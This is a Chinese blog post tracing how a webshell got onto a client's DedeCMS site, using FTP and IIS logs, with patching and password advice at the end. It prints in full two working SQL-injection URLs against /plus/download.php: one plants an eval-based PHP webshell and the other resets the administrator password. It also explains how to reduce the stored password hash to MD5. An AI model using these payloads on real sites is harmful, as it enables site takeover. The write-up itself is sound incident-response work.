DeDeCMS网站中木马分析追查一例

客户一个网站,木马查杀过程发现被上传了木马文件,木马文件究竟是如何来的?通过针对日志分析找到了原因,整理成此文,希望对一些建站朋友能够有用。

一、木马扫描:使用D盾木马查杀工具,很简单,扫描结果如下:

收集信息:

1.查看了一下laobiao.php文件内容:

axx

很明显一句话木马;

2.查看laobiao.php文件生成时间:2016年10月23日 16::23:48

Windows主机:使用FTP客户端只能查看到文件的最后修改时间,查看生成时间需要登录服务器右键属性查看。(如果使用虚拟主机向系统管理员寻求帮助)

二、追查木马来源:

1.查看FTP日志:判断是否由FTP密码泄露导致;

查看10月22、10月23、10月24日前后三天日志,未发现FTP账号登录记录,排除FTP途径;

IIS自带的FTP日志路径:C:WINDOWSsystem32LogFilesMSFTPSVC1

FTP密码一定要健壮,一般虚拟主机都提供FTP开关功能,原则:使用的时候开启,不使用的时候关闭。很多人因为怕麻烦,密码设置的又简单,容易被暴力破解而导致网站被侵入挂马;

2.查看IIS日志:

首先查看10月23日IIS访问日志:

搜索:laobiao.php

2016-10-23 08:23:48 W3SVC220 192.168.1.5 POST /plus/laobiao.php - 80 - 14.111.122.77 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/27.0.1453.93+Safari/537.36 200 0 0 119 361 125

这里可看到IP:14.111.122.77 在2016年10月23日 16:23:48使用POST方式访问了/plus/laobiao.php页面,访问状态为200,说明此时文件已经存在,而且与文件生成时间相吻合;

3.根据访问IP进行搜索:

搜索14.111.122.77这个IP在10月23日当天所有访问记录,然后将该部分记录截取出来进行分析:

从上图可看出进行了多次尝试,最终在第18、19行访问后生成了laobiao.php文件,第18行内容如下:

/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44

实质上访问如上链接:http://www.xxx.com/plus/download.php?open=1&c=d&arrs1[]……arrs2[]=51&arrs2[]=32&arrs2[]=44后,会在dede_myad表中normbody字段插入数据,见下图:

然后再访问第19行所示页面链接:/plus/ad_js.php?aid=3&nocache=1就会在plus目录生成文件;

至此木马文件laobiao.php的来源已经搞清楚了,后证实该网站还可直接通过访问特殊链接危害也较大(后续有说明),在此过程中进行了大量测试,由于篇幅就不多写了,过程中的技巧说明一下:

1.上边提到的插入数据库访问链接,经过大量测试发现后期执行均不成功,网络上搜索了一下有人说如果执行成功过,后期就不会成功,可以通过变换aid来测试,测试更改后仍不成功;

2.测试过程dedecms显示如下:按道理说应该是打了补丁比较安全的,不清楚第一次为什么会成功。

Safe Alert: Request Error step 2!

此时会在data目录中类似*_safe.txt文件中记录访问的记录,后续的访问均会记录,查看之前的*_safe.txt文件内容,当时没有上述链接的记录,因此判断可能第一次会成功,后续不会再成功。

记录内容类似如下图:

3.如上图所示,记录中会显示出执行的sql语句,也是以此最终判断木马文件生成的方法的。

内容如下:

/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44|| INSERT INTO `dede_myad` SET normbody='axx'');?>' where aid =3 ,downloads`(`hash`,`id`,`downloads`) VALUES('******d98f00b****9800998ec******','0',1); ||unusual character

4.虽然后续无法使用如上链接再次生成木马文件,但是此网站同样可以通过访问特殊链接更改管理员密码:

/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

虽然访问后仍然显示:Safe Alert: Request Error step 2!而且*_safe.txt文件中也会记录,如下:

/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35|| INSERT INTO `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('****d98f00b204e9800998ecf84***','0',1);||comment detect

但是经过测试确实可以修改管理员密码为:spider admin

dedecms的密码20位字串,可通过后剪1位,前剪3位得到16位md5加密密文,例如:f297a57a5a743894a0e4 得到16位md5:7a57a5a743894a0e

5.该网站dedecms版本:

dataadminver.txt中查看:20160906

/include/common.inc.php文件中:$cfg_version = 'V57_UTF8_SP1';

由此可知该网站版本为:V57_SP1版本,更新日期为:20160906

后来下载了最新版的dedecms版本:20160928 V57_UTF8_SP1,测试访问上述两条链接均不成功。不显示而且也没有*_safe.txt文件生成。因此建议升级为最新版。

其实大家都知道dedecms之前爆出了很多的漏洞致使很多网站被侵入挂马篡改等,虽然dedecms也不断出补丁进行修复漏洞,为什么还会有很多网站中招呢?究其原因,最重要的无非,其实最最重要的就是提高,最后给出几点建议:

1.密码健壮:杜绝弱口令,防止暴力破解;通过FTP弱口令、后台登录弱口令侵入的不在少数。

2.勤管理,勤打补丁:要能及时发现问题,及时处理问题,遇到过很多网站被侵入后发现的时候已经是大半年之后了,有些日志已经都删除掉了,没办法追查具体来源;一旦网站被挂马一定要明白大多数所谓的是通过文件进行的一个动作,也就是通过文件进行篡改网站文件来的。很多人在网站被篡改后只是将页面修复,删除插入的恶意链接之类,但是并没有清除木马文件,而导致频繁发生。因此一定要清理挂马代码,清理木马后门文件,两个步骤走。当然,最好是能修复漏洞杜绝后患。

3.具体到dedecms建议更改后台登录目录名称、打上最新补丁,参照官方提供的一些安全措施进行处理。

4.安全设置一个重要原则,,可根据程序具体情况设置。

5.千万不要怕麻烦,勤备份,有备才能无患。

THE END
分享
二维码
< <上一篇
下一篇>>